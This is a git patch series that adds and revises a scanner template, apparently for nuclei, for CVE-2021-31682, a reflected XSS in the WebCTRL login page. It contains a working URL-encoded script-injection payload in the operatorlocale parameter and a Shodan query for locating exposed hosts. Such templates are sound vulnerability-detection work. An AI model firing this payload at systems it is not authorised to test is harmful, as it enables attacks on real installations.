From 43629d5f49663f139aac3c5060d23af4904683c1 Mon Sep 17 00:00:00 2001
From: GwanYeong Kim <gy741.kim@gmail.com>
Date: Sat, 30 Oct 2021 19:04:42 +0900
Subject: [PATCH 1/2] Create CVE-2021-31682.yaml

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization.

Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
---
 cves/2021/CVE-2021-31682.yaml | 39 +++++++++++++++++++++++++++++++++++
 1 file changed, 39 insertions(+)
 create mode 100644 cves/2021/CVE-2021-31682.yaml

diff --git a/cves/2021/CVE-2021-31682.yaml b/cves/2021/CVE-2021-31682.yaml
new file mode 100644
index 0000000000..b17547ac27
--- /dev/null
+++ b/cves/2021/CVE-2021-31682.yaml
@@ -0,0 +1,39 @@
+id: CVE-2021-31682
+
+info:
+  name: WebCTRL OEM - Reflected XSS
+  author: gy741,dhiyaneshDk
+  severity: medium
+  description: The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being sanitized. This issue impacts versions 6.5 and below. This issue works by passing in a basic XSS payload to a vulnerable GET parameter that is reflected in the output without sanitization.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2021-31682
+    - https://github.com/3ndG4me/WebCTRL-OperatorLocale-Parameter-Reflected-XSS
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
+    cvss-score: 6.10
+    cve-id: CVE-2021-31682
+    cwe-id: CWE-79
+  tags: cve,cve2021,webctrl,xss
+  metadata:
+    shodan-query: 'html:"/_common/lvl5/dologin.jsp"'
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/index.jsp?operatorlocale=en/%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%20'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "><script>alert(document.domain)</script>"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header

From fe6dbc8b4dc326b74158a198bc9c5884c44593ac Mon Sep 17 00:00:00 2001
From: sandeep <sandeep@projectdiscovery.io>
Date: Sun, 31 Oct 2021 16:56:16 +0530
Subject: [PATCH 2/2] misc update

---
 cves/2021/CVE-2021-31682.yaml | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/cves/2021/CVE-2021-31682.yaml b/cves/2021/CVE-2021-31682.yaml
index b17547ac27..cde1a07b90 100644
--- a/cves/2021/CVE-2021-31682.yaml
+++ b/cves/2021/CVE-2021-31682.yaml
@@ -20,7 +20,7 @@ info:
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/index.jsp?operatorlocale=en/%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E%20'
+      - '{{BaseURL}}/index.jsp?operatorlocale=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E'
 
     matchers-condition: and
     matchers:
@@ -29,11 +29,13 @@ requests:
           - 200
 
       - type: word
-        words:
-          - "><script>alert(document.domain)</script>"
         part: body
+        condition: and
+        words:
+          - '"><script>alert(document.domain)</script>'
+          - 'common/lvl5'
 
       - type: word
+        part: header
         words:
           - "text/html"
-        part: header